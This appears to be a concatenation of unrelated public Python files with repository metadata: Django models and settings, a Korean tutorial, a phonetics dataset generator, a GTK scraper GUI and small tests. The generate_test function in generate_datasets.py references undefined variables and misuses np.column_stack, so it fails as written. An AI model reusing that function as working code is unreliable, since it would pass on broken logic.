help_text='0') astrometric_n_good_obs_al = models.PositiveSmallIntegerField(null=True, help_text='181') astrometric_n_bad_obs_al = models.PositiveSmallIntegerField(null=True, help_text='3') astrometric_gof_al = models.FloatField(null=True) astrometric_chi2_al = models.FloatField(null=True) astrometric_excess_noise = models.FloatField(null=True) astrometric_excess_noise_sig = models.FloatField(null=True) astrometric_params_solved = models.PositiveSmallIntegerField(null=True, help_text='3 or 31') astrometric_primary_flag = models.BooleanField(null=True) astrometric_weight_al = models.FloatField(null=True) astrometric_pseudo_colour = models.FloatField(null=True) astrometric_pseudo_colour_error = models.FloatField(null=True) mean_varpi_factor_al = models.FloatField(null=True) astrometric_matched_observations = models.PositiveSmallIntegerField(null=True, help_text='21') visibility_periods_used = models.PositiveSmallIntegerField(null=True, help_text='10') astrometric_sigma5d_max = models.FloatField(null=True) frame_rotator_object_type = models.PositiveSmallIntegerField(null=True, help_text='0') matched_observations = models.PositiveSmallIntegerField(null=True, help_text='22') duplicated_source = models.BooleanField(null=True) phot_g_n_obs = models.PositiveSmallIntegerField(null=True, help_text='189') phot_g_mean_flux = models.FloatField(null=True) phot_g_mean_flux_error = models.FloatField(null=True) phot_g_mean_flux_over_error = models.FloatField(null=True) phot_g_mean_mag = models.FloatField(null=True) phot_bp_n_obs = models.PositiveSmallIntegerField(null=True, help_text='189') phot_bp_mean_flux = models.FloatField(null=True) phot_bp_mean_flux_error = models.FloatField(null=True) phot_bp_mean_flux_over_error = models.FloatField(null=True) phot_bp_mean_mag = models.FloatField(null=True) phot_rp_n_obs = models.PositiveSmallIntegerField(null=True, help_text='21') phot_rp_mean_flux = models.FloatField(null=True) phot_rp_mean_flux_error = models.FloatField(null=True) phot_rp_mean_flux_over_error = models.FloatField(null=True) phot_rp_mean_mag = models.FloatField(null=True) phot_bp_rp_excess_factor = models.FloatField(null=True) phot_proc_mode = models.PositiveSmallIntegerField(null=True, help_text='0, 1 or 2') bp_rp = models.FloatField(null=True) bp_g = models.FloatField(null=True) g_rp = models.FloatField(null=True) radial_velocity = models.FloatField(null=True) radial_velocity_error = models.FloatField(null=True) rv_nb_transits = models.PositiveSmallIntegerField(null=True, help_text='0') rv_template_teff = models.FloatField(null=True) rv_template_logg = models.FloatField(null=True) rv_template_fe_h = models.FloatField(null=True) phot_variable_flag = models.CharField(max_length=13, null=True, help_text='NOT_AVAILABLE') l = models.FloatField(null=True) b = models.FloatField(null=True) ecl_lon = models.FloatField(null=True) ecl_lat = models.FloatField(null=True) priam_flags = models.PositiveIntegerField(null=True, help_text='100001') teff_val = models.FloatField(null=True) teff_percentile_lower = models.FloatField(null=True) teff_percentile_upper = models.FloatField(null=True) a_g_val = models.FloatField(null=True) a_g_percentile_lower = models.FloatField(null=True) a_g_percentile_upper = models.FloatField(null=True) e_bp_min_rp_val = models.FloatField(null=True) e_bp_min_rp_percentile_lower = models.FloatField(null=True) e_bp_min_rp_percentile_upper = models.FloatField(null=True) flame_flags = models.PositiveIntegerField(null=True, help_text='200111') radius_val = models.FloatField(null=True) radius_percentile_lower = models.FloatField(null=True) radius_percentile_upper = models.FloatField(null=True) lum_val = models.FloatField(null=True) lum_percentile_lower = models.FloatField(null=True) lum_percentile_upper = models.FloatField(null=True)

[ "oleg@iptech.kz" ]

oleg@iptech.kz

3ff2599f16e8ef4b6964f06e4b62bec8ec230c2c

739f6d736ae008b13ffdc71e163c4a6b20baf50c

/inhan/점프투파이썬/chapter02/Inhan/1.py

c2eb2482f9efddce3269a17d820b6f5b6ed7be5f

[]

no_license

ingithub777/Guri

7862c606f731401d30ffaf6f1500c92ff1335625

5737146c1d0d0b76edc88db0e77a89791f29a9b5

refs/heads/master

2021-09-09T12:45:08.587169

2018-03-16T07:31:00

111,864,366

0

null

UTF-8

Python

false

433

py

정수형 a=123 a=-178 a=0 실수형 a=1.2 a=-3.45 지수표현방식 a=4.24E10 a=4.24e-10 8진수와 16진수 a=0o177 a=0x8ff a=0xabc 복소수 a=1+2j b=3-4j 복소수.real a=1+2j a.real 1.0 복소수.imag a=1+2j a.imag 2.0 복소수.conjugate() a=1+2j a.conjugate() (1-2j) abs복소수 a=1+2j abs(a) 2.2360679774997898 사칙연산 a=3 b=4 a+b 7 a*b 12 a/b 0.75 x의 y제곱을 나타내는 ** 연산자 a=3 b=4 a**b 81

[ "rladlsgks4@naver.com" ]

rladlsgks4@naver.com

cc5e8dc5903e1d0352fb1da8f5664b9b528c2fd8

08d256c60ac584185781ddb303c4eca90ced6cdb

/generate_datasets.py

e39f54aee59767d95edfc40b7cf04497e4a43eb8

[]

no_license

bootphon/phonrulemodel

b8c191b59c18d46353245917ea52d5b9612c3dd2

dadf444a90ce7200a430bca8754bd6c742975a1a

refs/heads/master

2021-01-10T14:18:02.212832

2015-05-29T10:14:24

36,012,459

1

0

null

UTF-8

Python

false

9,888

py

""" generate datasets """ from __future__ import division from collections import defaultdict from itertools import chain, product import cPickle as pickle import numpy as np from scipy.stats import multivariate_normal from util import verb_print import csv import glob import os.path as path import pandas as pd def constcorr(X): """Calculate the constant correlation matrix. Parameters ---------- X : ndarray (nsamples, nfeatures) observations Returns ------- constant correlation matrix of X Notes ----- "Honey, I shrunk the sample covariance matrix", Ledoit and Wolf """ N, D = X.shape X_ = X - X.mean(0) # centered samples s = np.dot(X_.T, X_) / (N-1) # sample covariance d = np.diag(s) sq = np.sqrt(np.outer(d, d)) d = s / sq # sample correlation r = np.triu(d, 1).sum() * 2 / ((N-1)*N) # average correlation f = r * sq f[np.diag_indices(D)] = np.diag(s) return f def transform_estimates(d, mean_dispersal_factor=1, cov_shrink_factor=0): """Manipulate the estimated distributions by shrinking the covariance or dispersing the means from their center point. Parameters ---------- d : dict from phone to condition to rv_continuous estimated distributions cov_shrink_factor : float in [0, 1] interpolation factor between the estimated covariance and the constant correlation matrix. if `shrink_factor`==0, no further shrinkage is performed, if 1, the constant correlation matrix is used instead of covariance. mean_dispersal_factor : float the means of the classes can be brought further apart or closer together by this factor. Returns ------- dict from phone to condition to rv_continuous transformed distributions """ if mean_dispersal_factor == 1 and cov_shrink_factor == 0: return d means = defaultdict(dict) covs = defaultdict(dict) for phone in d: for condition in d[phone]: means[phone][condition] = d[phone][condition].mean cov = d[phone][condition].cov if cov_shrink_factor > 1: cov *= (1-cov_shrink_factor) covs[phone][condition] = cov if mean_dispersal_factor != 1: center = np.vstack([means[phone][condition] for phone in means for conditions in means[phone]]).mean(0) means = {p: {c: (means[p][c]-center)*mean_dispersal_factor + center for c in means[p]} for p in means} return {phone: {cond: multivariate_normal(mean=means[phone][cond], cov=covs[phone][cond]) for cond in d[phone]} for phone in d} def resample(d, n): return {p: {c: d[p][c].rvs(size=n) for c in d[p]} for p in d} def generate_test(df_test, estimates, nsamples, output, mean_dispersal_factor=1, cov_shrink_factor=0, verbose=False): with verb_print('transforming distributions', verbose=verbose): estimates = transform_estimates(estimates, mean_dispersal_factor, cov_shrink_factor) samples = resample(estimates, nsamples) """ x1 x2 y setting x1_c1 x1_v x1_c2 x2_c1 x2_v x2_c2 0 FIN-ADS ZUL-ADS 1 ADS F I N Z U L """ df_x1_c1 = df_test['c1'].values df_x1_v = df_test['v'].values df_x1_c2 = df_test['c2'].values df_x2_c1 = df_test['c1'].values df_x2_v = df_test['v'].values df_x2_c2 = df_test['c2'].values df_y = df_test['y'].values setting = df_test['setting'].values x1_c1s = [] x1_vs = [] x1_c2s = [] x1_ys = [] x2_c1s = [] x2_vs = [] x2_c2s = [] x2_ys = [] for i in range(len(df_c1)): x1_c1 = samples.get(df_x1_c1[i].lower()) MFCCs_x1_c1 = x1_c1.get(setting[i]) x1_c1s.append(MFCCs_c1) x1_v = samples.get(df_x1_v[i].lower()) MFCCs_x1_v = x1_v.get(setting[i]) x1_vs.append(MFCCs_x1_v) x1_c2 = samples.get(df_x1_c2[i].lower()) MFCCs_x1_c2 = x1_c2.get(setting[i]) x1_c2s.append(MFCCs_c2) x2_c1 = samples.get(df_x2_c1[i].lower()) MFCCs_x2_c1 = x2_c1.get(setting[i]) x2_c1s.append(MFCCs_c1) x2_v = samples.get(df_x2_v[i].lower()) MFCCs_x2_v = x2_v.get(setting[i]) x2_vs.append(MFCCs_x2_v) x2_c2 = samples.get(df_x2_c2[i].lower()) MFCCs_x2_c2 = x2_c2.get(setting[i]) x2_c2s.append(MFCCs_c2) y = df_y[i] s = setting[i] ys.append([y,s]) x1_c1s = np.array(x1_c1s) x1_vs = np.array(x1_vs) x1_c2s = np.array(x1_c2s) x2_c1s = np.array(x2_c1s) x2_vs = np.array(x2_vs) x2_c2s = np.array(x2_c2s) X_x1 = np.column_stack((x1_c1s,x1_vs,x1_c2s)) X_x2 = np.column_stack((x2_c1s,x2_vs,x2_c2s)) X = np.column_stack(X_x1,X_x2) y = np.array(ys) #example: ['1' 'ADS'] labels = ['e','i','o','u','b','d','p','f','s','z','v','f'] labels = np.array(labels) np.savez(output, X=X, y = y, labels = labels) def generate_train(df_train, estimates, nsamples, output, mean_dispersal_factor=1, cov_shrink_factor=0, verbose=False): with verb_print('transforming distributions', verbose=verbose): estimates = transform_estimates(estimates, mean_dispersal_factor, cov_shrink_factor) """ z': {'ADS': <scipy.stats._multivariate.multivariate_normal_frozen object at 0x1069e60d0>, 'IDS': <scipy.stats._multivariate.multivariate_normal_frozen object at 0x1069e6150>} 54 ZUN-ADS Z U N ADS 55 ZUR-ADS Z U R ADS 56 PEM-ADS P E M ADS 57 PEL-ADS P E L ADS """ samples = resample(estimates, nsamples) df_c1 = df_train['c1'].values df_v = df_train['v'].values df_c2 = df_train['c2'].values setting = df_train['setting'].values c1s = [] vs = [] c2s = [] ys = [] #print samples for i in range(len(df_c1)): c1 = samples.get(df_c1[i].lower()) MFCCs_c1 = c1.get(setting[i]) c1s.append(MFCCs_c1) v = samples.get(df_v[i].lower()) MFCCs_v = v.get(setting[i]) vs.append(MFCCs_v) c2 = samples.get(df_c2[i].lower()) MFCCs_c2 = c2.get(setting[i]) c2s.append(MFCCs_c2) y = [df_c1[i].lower(),df_v[i].lower(),df_c2[i].lower()] s = setting[i] ys.append([y,s]) c1s = np.array(c1s) vs = np.array(vs) c2s = np.array(c2s) X = np.column_stack((c1s,vs,c2s)) y = np.array(ys) #example: [['d', 'o', 'n'] 'ADS'] labels = ['e','i','o','u','b','d','p','f','s','z','v','f'] labels = np.array(labels) np.savez(output, X=X, y = y, labels = labels) def load_estimates(fname): with open(fname, 'rb') as fin: e = pickle.load(fin) return e def train_data(dir,estimates,output_dir): header = ['stimulus'] counter = 1 for condition in glob.iglob(path.join(dir, '*.csv')): df_train = pd.read_csv(condition, names= header) stimulus = df_train['stimulus'].values c1 = [] v = [] c2 = [] setting = [] for stim in stimulus: c1.append(stim[0]) v.append (stim[1]) c2.append(stim[2]) setting.append(stim[4:7]) c1 = np.array(c1) v = np.array(v) c2 = np.array(c2) setting = np.array(setting) df_train['c1'] = c1 df_train['v'] = v df_train['c2'] = c2 df_train['setting'] = setting output = output_dir + 'train_condition' + str(counter) counter = counter + 1 generate_train(df_train,estimates,nsamples, output, mean_dispersal_factor=1, cov_shrink_factor=0,verbose=False) def test_data(dir,estimates,output_dir): counter = 1 for condition in glob.iglob(path.join(dir, '*.csv')): df_test = pd.read_csv(condition, names= ['x1','x2','y','setting']) x1 = df_test['x1'].values x2 = df_test['x2'].values x1_c1 = [] x1_v = [] x1_c2 = [] s = [] for stim in x1: x1_c1.append(stim[0]) x1_v.append (stim[1]) x1_c2.append(stim[2]) s.append(stim[4:7]) x2_c1 = [] x2_v = [] x2_c2 = [] for stim in x2: x2_c1.append(stim[0]) x2_v.append (stim[1]) x2_c2.append(stim[2]) x1_c1 = np.array(x1_c1) x1_v = np.array(x1_v) x1_c2 = np.array(x1_c2) x2_c1 = np.array(x2_c1) x2_v = np.array(x2_v) x2_c2 = np.array(x2_c2) df_test['x1_c1'] = x1_c1 df_test['x1_v'] = x1_v df_test['x1_c2'] = x1_c2 df_test['x2_c1'] = x2_c1 df_test['x2_v'] = x2_v df_test['x2_c2'] = x2_c2 df_test['setting'] = s output = output_dir + 'test_condition' + str(counter) counter = counter + 1 generate_test(df_test,estimates,nsamples, output, mean_dispersal_factor=1, cov_shrink_factor=0,verbose=False) if __name__ == '__main__': nsamples = 1000 input_fname = '/Users/ingeborg/Desktop/estimates.pkl' shrink = 0 dispersal = 1 train_stimulus_dir = '/Users/ingeborg/phonrulemodel/conditions/train' test_stimulus_dir = '/Users/ingeborg/phonrulemodel/conditions/test' output_dir = '/Users/ingeborg/Desktop/' estimates = load_estimates(input_fname) train_data(train_stimulus_dir,estimates, output_dir) test_data(test_stimulus_dir,estimates, output_dir)

[ "ingeborg.roete@gmail.com" ]

ingeborg.roete@gmail.com

c73c084c3cb10cd9b273a4f306578ad0d671c470

6c016f5c52613039764b3cecdd0b786a6da08955

/gui/main_window.py

b13994e9c3f56eff77253ed4f836f00381e1f8a8

[]

no_license

spinny/ggscraper

d77ec39a24fc2fd9c92166b7af2c08c2662afe33

ff024ea97e0b57817f8ad1b0edfc19f2692068d3

refs/heads/master

2021-01-19T20:16:18.495353

2013-08-13T21:18:59

2,508,547

0

null

UTF-8

Python

false

4,163

py

#!/usr/bin/env python ## -*- coding: UTF -*- import gtk import google from tabs.scrape import ScrapeTab from tabs.domains import DomainsTab from tabs.filetypes import FiletypesTab from tabs.files import FilesTab from tabs.all import AllTab class MainNotebook(gtk.Notebook): def __init__(self): super(MainNotebook, self).__init__() self.tab_scrape = ScrapeTab() self.tab_scrape.show() l = gtk.Label("Scrape") self.append_page(self.tab_scrape, l) self.tab_domains = DomainsTab() self.tab_domains.show() l = gtk.Label("Domains") self.append_page(self.tab_domains, l) self.tab_filetypes = FiletypesTab() self.tab_filetypes.show() l = gtk.Label("Filetypes") self.append_page(self.tab_filetypes, l) self.tab_files = FilesTab() self.tab_files.show() l = gtk.Label("Files") self.append_page(self.tab_files, l) self.tab_all = AllTab() self.tab_all.show() l = gtk.Label("All") self.append_page(self.tab_all, l) class MainWindow(gtk.Window): def __build_menu__(self, root, items): for i in items: if not i["label"]: t = gtk.SeparatorMenuItem() t.show() root.append(t) else: t = gtk.MenuItem() t.set_use_underline(True) t.set_label(i["label"]) t.show() if "connect" in i: t.connect(*i["connect"]) if "accel" in i: key, mod = gtk.accelerator_parse(i["accel"]) t.add_accelerator("activate", self.accel_group, key, mod, gtk.ACCEL_VISIBLE) if "sub" in i: tt = gtk.Menu() tt.show() self.__build_menu__(tt, i["sub"]) t.set_submenu(tt) root.append(t) def __init__(self): super(MainWindow, self).__init__() # set window properties self.set_title("GTK Google Scraper") self.set_position(gtk.WIN_POS_CENTER) scr = self.get_screen() self.set_default_size(int(scr.get_width() * 0.8), int(scr.get_height() * 0.8)) # add accelerator group self.accel_group = gtk.AccelGroup() self.add_accel_group(self.accel_group) # build menu bar self.mnu_main = gtk.MenuBar() self.mnu_main.show() self.__build_menu__(self.mnu_main, [ {"label":"_File", "sub":[ { "label":"_New", "connect":("activate", self.__mnu_main_new__), "accel":"<Control>N" }, {"label":None}, { "label":"_Save", "connect":("activate", self.__mnu_main_save__), "accel":"<Control>S" }, { "label":"Save _As", "connect":("activate", self.__mnu_main_save_as__), "accel":"<Control>E" }, { "label":"_Open", "connect":("activate", self.__mnu_main_open__), "accel":"<Control>O" }, {"label":None}, { "label":"_Quit", "connect":("activate", self.__win_main_on_delete_event__), "accel":"<Control>Q" } ]} ]) # build notebook self.notebook = MainNotebook() self.notebook.show() # build status bar self.status_bar = gtk.Statusbar() self.status_bar.show() # main VBox vb = gtk.VBox() vb.pack_start(self.mnu_main, False, False, 2) vb.pack_start(self.notebook, True, True, 2) vb.pack_end(self.status_bar, False, False, 2) vb.show() self.add(vb) # set google preferences self.notebook.tab_scrape.webview.load_uri("http://www.google.com/ncr")

[ "spinny666@gmail.com" ]

spinny666@gmail.com

65448ca89f8d0e2ac0da8300625a2441110c79ab

82d5744e038f914c7832775989dd8b25224d6e91

/_41.py

efc538881b2e8fdb652e312dd8e58febc0bf7c9f

[]

no_license

ProgrammAbelSchool/Programming-Challenges

1743f19c88f360931823df9e8066a7e82978ff09

d72a19f79e3892ce1f9be9c83b397c18de8e0234

refs/heads/master

2023-02-26T03:18:52.086242

2021-02-03T14:33:01

315,135,657

0

null

UTF-8

Python

false

193

py

name = input("enter your name: ") number = int(input("enter a number: ")) if number < 10: for i in range(number): print(name) else: for i in range(3): print("Too high")

[ "binoop-a17@boswells-school.com" ]

binoop-a17@boswells-school.com

546c7504739979a6fadddacfd941a5bee6fc2d0e

c617129d66a8728601794e6069b71259e58c86b2

/test/test_hash_table_separate_chaning.py

0ae1a92dc336074aac5b1c2b6ee9e45ef00929d5

[]

no_license

tcongg/data-structures-and-algorithms

de5fd13a8c1a05bb7813f9d00c76f6226d8285a0

6b3ef0b8ccc39a2633a03a8feaeccd0c425f4a92

refs/heads/master

2020-04-22T20:32:16.634974

2019-03-05T12:52:52

170,486,025

0

null

UTF-8

Python

false

1,347

py

import unittest from hash_table_separate_chaning import HashTable class TestHashTable(unittest.TestCase): def test_add(self): table = HashTable(7) table.add(1, 1) self.assertEqual(table.get(1), 1) table.add(2, 2) table.add(3, 3) self.assertEqual(table.get(2), 2) self.assertEqual(table.get(3), 3) def test_get(self): table = HashTable(7) self.assertEqual(table.get(100), None) table.add(1, 1) self.assertEqual(table.get(1), 1) table.add(2, 2) table.add(3, 3) self.assertEqual(table.get(2), 2) self.assertEqual(table.get(3), 3) def test_exists(self): table = HashTable(7) self.assertFalse(table.exists(1111)) table.add(1, 99) self.assertTrue(1) def test_remove(self): table = HashTable(7) table.add(1, 1) table.add(2, 2) table.add(3, 3) table.add(8, 99) table.add(16, 88) table.remove(1) self.assertEqual(table.get(1), None) table.remove(2) self.assertEqual(table.get(2), None) table.remove(3) self.assertEqual(table.get(3), None) table.remove(16) self.assertEqual(table.get(16), None) table.remove(8) self.assertEqual(table.get(8), None)

[ "noreply@github.com" ]

tcongg.noreply@github.com

fd26a03d00d4f842d49979c205418dd51a5c755a

274211f77fc9699b19ed70c8d3deca5017c76889

/navec/train/ctl/quantize.py

02052beb23dc2421402266e48b0bf5764b05d162

[]

no_license

EruditePanda/navec

347bf3f6b47caa534a855bffd38cefa2868f4bf0

92985269f58d8cd18ebb6ccf71234349fcc3690f

refs/heads/master

2020-06-03T19:34:56.800023

2019-06-12T09:31:20

null

0

null

UTF-8

Python

false

720

py

from navec.pq import quantize as quantize__ from navec.vocab import Vocab from navec import Navec from ..glove import parse_glove_emb from ..log import log_info def quantize(args): quantize_(args.emb, args.output, args.subdim, args.sample, args.iterations) def quantize_(emb, output, subdim, sample, iterations): with open(emb) as file: log_info('Load %s', emb) words, weights = parse_glove_emb(file) log_info( 'PQ, subdim: %d, sample: %d, iterations: %d', subdim, sample, iterations ) pq = quantize__(weights, subdim, sample, iterations) vocab = Vocab(words) log_info('Dump %s', output) Navec(vocab, pq).dump(output)

[ "alex@alexkuk.ru" ]

alex@alexkuk.ru

2ba1670f3851c924b251dfce026d182554ea1dfd

e3524ac37416d723901c41d1df873df1fda93d3d

/books/migrations/0001_initial.py

7504204e860a161a78266f9511c63c390ef9087f

[]

no_license

rwajon/python-graphql

82e942bc5dc809e0251be93ab41ca7a49b62e9a8

87ecfd71493dc2edaf549fb7c3efe94e323a745e

refs/heads/develop

2022-05-10T16:03:31.850669

2019-10-09T15:51:38

213,409,049

1

0

null

2022-04-22T22:25:56

2019-10-07T14:42:29

Python

UTF-8

Python

false

873

py

# Generated by Django 2.2.6 on 2019-10-07 15:20 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('authors', '0001_initial'), ] operations = [ migrations.CreateModel( name='Book', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('title', models.CharField(max_length=100)), ('synopsis', models.TextField()), ('published_date', models.DateField()), ('author', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='books', to='authors.Author')), ], options={ 'ordering': ('title',), }, ), ]

[ "jonathanrwabahizi@gmai.com" ]

jonathanrwabahizi@gmai.com

42b69a10939d1b711c024f3cd5df47f4c4840fee

af4abf0a22db1cebae466c56b45da2f36f02f323

/parser/team07/Proyecto/clasesAbstractas/select_query.py

93f098d149c2b574891d5d6f72d450da3592e61d

[ "MIT" ]

permissive

joorgej/tytus

0c29408c09a021781bd3087f419420a62194d726

004efe1d73b58b4b8168f32e01b17d7d8a333a69

refs/heads/main

2023-02-17T14:00:00.571200

2021-01-09T00:48:47

322,429,634

3

0

MIT

2021-01-09T00:40:50

2020-12-17T22:40:05

Python

UTF-8

Python

false

604

py

from .instruccionAbstracta import InstruccionAbstracta class select_query(InstruccionAbstracta): '''Esta es la instruccion general de un query que puede unir varios select esta tiene los 2 querys que se unen y el tipo de union''' def __init__(self, query1, query2, tipoUnion): self.query1 = query1 self.query2 = query2 self.tipoUnion = tipoUnion def ejecutar(self, tabalSimbolos, listaErrores): if self.query2 is None: self.query1.ejecutar(tabalSimbolos, listaErrores) else: print("Vienen 2 querys") pass

[ "carloscante@gmail.com" ]

carloscante@gmail.com

472cc265eb8efba7a97821c1b47be51224d34724

94cb9dcbac4c35a30b684de3338ac31ed9fd5165

/backend/healthiswealth_28409/settings.py

623002b24c290293a28f4cbf5f527f04ed9f2eab

[]

no_license

crowdbotics-apps/healthiswealth-28409

64b410d10e6faf5540402b7b59897d583cd8201d

abe1e12bb5f06ea6f2dddcdf73a1d08115b073f9

refs/heads/master

2023-06-14T10:30:40.144603

2021-07-03T09:57:58

382,580,789

0

null

UTF-8

Python

false

7,244

py

""" Django settings for healthiswealth_28409 project. Generated by 'django-admin startproject' using Django 2.2.2. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os import environ import logging env = environ.Env() # SECURITY WARNING: don't run with debug turned on in production! DEBUG = env.bool("DEBUG", default=False) # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production secret! SECRET_KEY = env.str("SECRET_KEY") ALLOWED_HOSTS = env.list("HOST", default=["*"]) SITE_ID = 1 SECURE_PROXY_SSL_HEADER = ("HTTP_X_FORWARDED_PROTO", "https") SECURE_SSL_REDIRECT = env.bool("SECURE_REDIRECT", default=False) # Application definition INSTALLED_APPS = [ "django.contrib.admin", "django.contrib.auth", "django.contrib.contenttypes", "django.contrib.sessions", "django.contrib.messages", "django.contrib.staticfiles", "django.contrib.sites", "task_category", "task", "wallet", "task_profile", "location", "tasker_business", ] LOCAL_APPS = [ "home", "modules", "users.apps.UsersConfig", ] THIRD_PARTY_APPS = [ "rest_framework", "rest_framework.authtoken", "rest_auth", "rest_auth.registration", "bootstrap4", "allauth", "allauth.account", "allauth.socialaccount", "allauth.socialaccount.providers.google", "django_extensions", "drf_yasg", "storages", # start fcm_django push notifications "fcm_django", # end fcm_django push notifications ] INSTALLED_APPS += LOCAL_APPS + THIRD_PARTY_APPS MIDDLEWARE = [ "django.middleware.security.SecurityMiddleware", "django.contrib.sessions.middleware.SessionMiddleware", "django.middleware.common.CommonMiddleware", "django.middleware.csrf.CsrfViewMiddleware", "django.contrib.auth.middleware.AuthenticationMiddleware", "django.contrib.messages.middleware.MessageMiddleware", "django.middleware.clickjacking.XFrameOptionsMiddleware", ] ROOT_URLCONF = "healthiswealth_28409.urls" TEMPLATES = [ { "BACKEND": "django.template.backends.django.DjangoTemplates", "DIRS": [os.path.join(BASE_DIR, "web_build")], "APP_DIRS": True, "OPTIONS": { "context_processors": [ "django.template.context_processors.debug", "django.template.context_processors.request", "django.contrib.auth.context_processors.auth", "django.contrib.messages.context_processors.messages", ], }, }, ] WSGI_APPLICATION = "healthiswealth_28409.wsgi.application" # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { "default": { "ENGINE": "django.db.backends.sqlite3", "NAME": os.path.join(BASE_DIR, "db.sqlite3"), } } if env.str("DATABASE_URL", default=None): DATABASES = {"default": env.db()} # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { "NAME": "django.contrib.auth.password_validation.UserAttributeSimilarityValidator", }, { "NAME": "django.contrib.auth.password_validation.MinimumLengthValidator", }, { "NAME": "django.contrib.auth.password_validation.CommonPasswordValidator", }, { "NAME": "django.contrib.auth.password_validation.NumericPasswordValidator", }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = "en-us" TIME_ZONE = "UTC" USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = "/static/" MIDDLEWARE += ["whitenoise.middleware.WhiteNoiseMiddleware"] AUTHENTICATION_BACKENDS = ( "django.contrib.auth.backends.ModelBackend", "allauth.account.auth_backends.AuthenticationBackend", ) STATIC_ROOT = os.path.join(BASE_DIR, "staticfiles") STATICFILES_DIRS = [ os.path.join(BASE_DIR, "static"), os.path.join(BASE_DIR, "web_build/static"), ] STATICFILES_STORAGE = "whitenoise.storage.CompressedManifestStaticFilesStorage" # allauth / users ACCOUNT_EMAIL_REQUIRED = True ACCOUNT_AUTHENTICATION_METHOD = "email" ACCOUNT_USERNAME_REQUIRED = False ACCOUNT_EMAIL_VERIFICATION = "optional" ACCOUNT_CONFIRM_EMAIL_ON_GET = True ACCOUNT_LOGIN_ON_EMAIL_CONFIRMATION = True ACCOUNT_UNIQUE_EMAIL = True LOGIN_REDIRECT_URL = "users:redirect" ACCOUNT_ADAPTER = "users.adapters.AccountAdapter" SOCIALACCOUNT_ADAPTER = "users.adapters.SocialAccountAdapter" ACCOUNT_ALLOW_REGISTRATION = env.bool("ACCOUNT_ALLOW_REGISTRATION", True) SOCIALACCOUNT_ALLOW_REGISTRATION = env.bool("SOCIALACCOUNT_ALLOW_REGISTRATION", True) REST_AUTH_SERIALIZERS = { # Replace password reset serializer to fix 500 error "PASSWORD_RESET_SERIALIZER": "home.api.v1.serializers.PasswordSerializer", } REST_AUTH_REGISTER_SERIALIZERS = { # Use custom serializer that has no username and matches web signup "REGISTER_SERIALIZER": "home.api.v1.serializers.SignupSerializer", } # Custom user model AUTH_USER_MODEL = "users.User" EMAIL_HOST = env.str("EMAIL_HOST", "smtp.sendgrid.net") EMAIL_HOST_USER = env.str("SENDGRID_USERNAME", "") EMAIL_HOST_PASSWORD = env.str("SENDGRID_PASSWORD", "") EMAIL_PORT = 587 EMAIL_USE_TLS = True # AWS S3 config AWS_ACCESS_KEY_ID = env.str("AWS_ACCESS_KEY_ID", "") AWS_SECRET_ACCESS_KEY = env.str("AWS_SECRET_ACCESS_KEY", "") AWS_STORAGE_BUCKET_NAME = env.str("AWS_STORAGE_BUCKET_NAME", "") AWS_STORAGE_REGION = env.str("AWS_STORAGE_REGION", "") USE_S3 = ( AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY and AWS_STORAGE_BUCKET_NAME and AWS_STORAGE_REGION ) if USE_S3: AWS_S3_CUSTOM_DOMAIN = env.str("AWS_S3_CUSTOM_DOMAIN", "") AWS_S3_OBJECT_PARAMETERS = {"CacheControl": "max-age=86400"} AWS_DEFAULT_ACL = env.str("AWS_DEFAULT_ACL", "public-read") AWS_MEDIA_LOCATION = env.str("AWS_MEDIA_LOCATION", "media") AWS_AUTO_CREATE_BUCKET = env.bool("AWS_AUTO_CREATE_BUCKET", True) DEFAULT_FILE_STORAGE = env.str( "DEFAULT_FILE_STORAGE", "home.storage_backends.MediaStorage" ) MEDIA_URL = "/mediafiles/" MEDIA_ROOT = os.path.join(BASE_DIR, "mediafiles") # start fcm_django push notifications FCM_DJANGO_SETTINGS = {"FCM_SERVER_KEY": env.str("FCM_SERVER_KEY", "")} # end fcm_django push notifications # Swagger settings for api docs SWAGGER_SETTINGS = { "DEFAULT_INFO": f"{ROOT_URLCONF}.api_info", } if DEBUG or not (EMAIL_HOST_USER and EMAIL_HOST_PASSWORD): # output email to console instead of sending if not DEBUG: logging.warning( "You should setup `SENDGRID_USERNAME` and `SENDGRID_PASSWORD` env vars to send emails." ) EMAIL_BACKEND = "django.core.mail.backends.console.EmailBackend"

[ "team@crowdbotics.com" ]

team@crowdbotics.com

67c9080a7f9ac9b40d314c9bcf57e801dc181277

df917d838b85ec6cd7b6fda56176a0403fa88f3d

/e2e_test/app/components/event/event_handler.py

2773e8feff3e1f3c826964ffa03d687cf58adcab

[ "MIT" ]

permissive

jivago-python/jivago

ea3b50dad3eab7cebaffff2b2e9d9a911ee31bc0

8c8c72e179899357f80b91ae7454f638a0225d1c

refs/heads/master

2021-07-04T07:33:46.836249

2019-11-18T17:00:09

173,117,930

0

null

2019-02-28T13:33:45

2019-02-28T13:33:44

null

UTF-8

Python

false

950

py

